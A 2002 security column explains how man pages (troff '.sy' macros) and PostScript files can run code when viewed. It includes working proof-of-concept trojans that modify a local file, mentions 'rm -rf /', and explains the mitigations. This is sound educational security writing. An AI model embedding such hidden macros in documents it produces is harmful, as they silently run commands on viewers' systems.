|
Executing Code From Non-executable Files By Bri Hatch. Summary: With a little creativity and effort, those innocuous looking, non-executable file formats may be made more dangerous than they appear.
We're all told about the hazards of running untrusted executables. If a friend sends you the latest greatest program, can you be sure that it was him as opposed to someone forging the email address? Or perhaps it's a virus/worm. Or perhaps your friend is just malicious and wants you to run a program that has 'rm -rf /' in it. What some may not realize is that some non-executable file formats have the potential to run malicious code. A few weeks ago I challenged folks to create a file that, when viewed with a standard tool, would be able to perform system actions. In this case, the payload should take the file 'modifyme' and delete the first four bytes. In real life, you'd expect something more interesting, such as binding a network-accessible shell, or creating a suid binary. The first one we'll look at is a man page. Man pages are usually stored in directories such as /usr/man/ or /usr/share/man in a macro language that is readable by troff. For example, on my system, the source to the p0f man page looks like this:
.TH P0F 1 .\" NAME should be all caps, SECTION should be 1-8, maybe w/ subsection .\" other parms are allowed: see man(7), man(1) .SH NAME p0f \- identify remote systems passively .SH SYNOPSIS .B p0f .I "[ -f file ] [ -i device ] [ -o file ] [ -s file ] [ -vKUtq ] [ 'filter rule' ]" .br .SH "DESCRIPTION" This manual page briefly documents the .BR p0f command. ... It is stored in /usr/share/man/man1/p0f.1 so when you type 'man p0f', it runs this file through various parsing programs and, in the end, shows you a readable version like this:
P0F(1) P0F(1) NAME p0f - identify remote systems passively SYNOPSIS p0f [ -f file ] [ -i device ] [ -o file ] [ -s file ] [ -vKUtq ] [ 'filter rule' ] DESCRIPTION This manual page briefly documents the p0f command. ... One of the parsers invoked by man is troff. All those lines beginning with '.' are troff macros, which are used to specify indentation, boldness, and such. It's an ancient language, created eons before HTML. In addition to the formatting options, there are a couple macro requests that allow you to run commands. The easiest is the '.sy' option. To make the p0f strip the leading four bytes from the file, we just add the following to the p0f.1 file:
.sy dd if=modifyme of=modifyme.tmp ibs=4 skip=1 >/dev/null 2>&1 .sy mv modifyme.tmp modifyme >/dev/null 2>&1 The text after the .sy macro is run by troff during the man page formatting process, in this case editing the modifyme file using dd. The next time you run 'man p0f' you'll be silently running the code hidden in the manual page. Think of how many pieces of third party software you've installed, many of which come with manual pages. If you had time to vet the source code, did you even think of looking at the man pages for hidden trojans like this one? Probably not. Luckily, GNU's troff, which is what is used on Linux systems, disables unsafe macros by automatically including the 'safer' macro file. This file read unless you explicitly include '-U' on the troff command line. So, since 'man' does not do this, you are safe. All of the unsafe troff commands (open opena pso sy pi) are disabled by default. Unfortunately, this isn't the case with other Unix systems. My Solaris 8 host, for example, is still vulnerable to this simple trick. Next, let's look at another example, a PostScript file. Just like man pages, PostScript is more powerful than you might imagine. In addition to its ability to define a viewable/printable page, it has block and loop control structures, the ability to open and close files, read/write, process input, etc.... It's powerful enough that a Web server [1] has even been written using nothing but PostScript. So, let's take a look at a simple PostScript file, stripfourbytes.ps:
%! % Define a few file handles /stdout (%stdout) (w) file def % Open our input and output files. % Can't get easier than this. (modifyme) /input exch (r) file def (modifyme.out) /output exch (w) file def % strip those four bytes /fourbytes 4 string def input fourbytes readstring /buffer 1024 string def { input buffer readstring { output exch writestring } { output exch writestring input closefile exit } ifelse } bind loop stdout (You have been cracked.\n) writestring quit Rather than using any external programs, I wrote this to be self-contained. To execute it, you simply need to 'view' the PostScript file with 'gs stripfourbytes.ps'. Luckily, ghostscript (gs) is usually not the default PostScript viewer. Ghostview only allows vanilla PostScript document viewing capabilities, not the ability to open arbitrary files. Congratulations go out to Michael Metheringham for coming up with a trojaned PostScript file and Gina Vancura for creating a trojaned man page. Also, Andrew Klaassen came up with a man page example [2] that, though it did not contain any exploit, was certainly the funniest thing I'd seen in a long time. Thus far, no one has attempted to embed such an exploit into a LaTeX, PDF, or image file, but I'll leave the challenge open to anyone who wants to try. I have never tried so I don't know offhand if they're possible. I'd think one in LaTeX should be possible, but PDF and graphics are likely out of the running.
NOTES
[1] http://www.pugo.org:8080/ written by Anders Karlsson.
Bri Hatch is Chief Hacker at Onsight, Inc, and author of Hacking Linux Exposed and Building Linux VPNs. He once wrote the PostScript version of his resume from top to bottom using nothing but vi. He's happy to say he doesn't remember PostScript that well any more. Bri can be reached at bri@hackinglinuxexposed.com. Copyright Bri Hatch, 2002. This article was first published here in ITworld.com Inc., 118 Turnpike Rd., Southborough, MA 01772 on 27-Aug-2002.
|